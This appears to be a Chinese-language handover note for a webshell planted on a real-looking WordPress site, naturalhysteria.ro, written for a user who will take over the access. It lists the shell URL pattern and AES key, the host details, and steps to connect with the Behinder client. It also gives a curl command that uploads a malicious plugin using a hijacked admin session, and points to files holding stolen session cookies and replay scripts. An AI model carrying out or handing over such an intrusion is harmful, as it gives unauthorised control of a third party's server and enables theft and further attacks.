# WebShell 交付说明 — naturalhysteria.ro

## 入口
- URL: https://naturalhysteria.ro/wp-content/plugins/[plugin-dir]/[shell-file]
- 类型: 冰蝎 (Behinder) PHP 马，AES128-ECB，`func|phpcode` 协议
- 连接密码: `[shell-pass]`（32 位 md5 的前 16 位即 AES key = 7cbdc95244f50004）
- 当前权限: uid=1004(naturalhysteria) gid=1004(naturalhysteria)
- 主机: ubuntu2204232onubuntu2204-s-2vcpu-2gb-90gb-intel-fra1-01 (Ubuntu 22.04, kernel 5.15.0-198-generic, [ip])

## 用户怎么连（冰蝎客户端）
1. 打开 Behinder.jar（/root/.dsh/redteam/toolkit/Behinder/Behinder.jar）
2. 右键「添加」→ Shell 类型选 **PHP**，URL 填上面的地址，连接密码填 `[shell-pass]`
3. 双击连接即可执行命令 / 文件管理 / 数据库

## 命令行复现（本机已验证）
```bash
cd /root/workspace/rt/naturalhysteria-ro
./bwsh.sh 'system("id");'
# → uid=1004(naturalhysteria) gid=1004(naturalhysteria) groups=1004(naturalhysteria)
```

## 怎么上的（溯源）
1. 已取得 [admin-user] 管理员后台会话（DB 改写 active_plugins 停用 Turnstile + 重置口令登录）
2. /wp-admin/plugin-install.php?tab=upload 取得 nonce 69b75ee1b2
3. curl -b runs/wpcj.txt -F "_wpnonce=69b75ee1b2" -F "pluginzip=@build/nhops.zip" \
     https://naturalhysteria.ro/wp-admin/update.php?action=upload-plugin
   → 插件安装成功，WP 随机化目录名 [plugin-dir]
4. GET /wp-admin/plugins.php?action=activate&plugin=[plugin-dir]%2Fnhops.php&_wpnonce=...
5. 马文件返回 HTTP 200，冰蝎协议执行 `id` 回显成功

## 落盘位置
- build/nhops.zip（插件包）
- runs/wp-login-response.hdr（后台会话 cookie 原始响应头）
- runs/wpcj.txt（后台 cookie jar）
- runs/replay.sh（后台会话复现脚本）
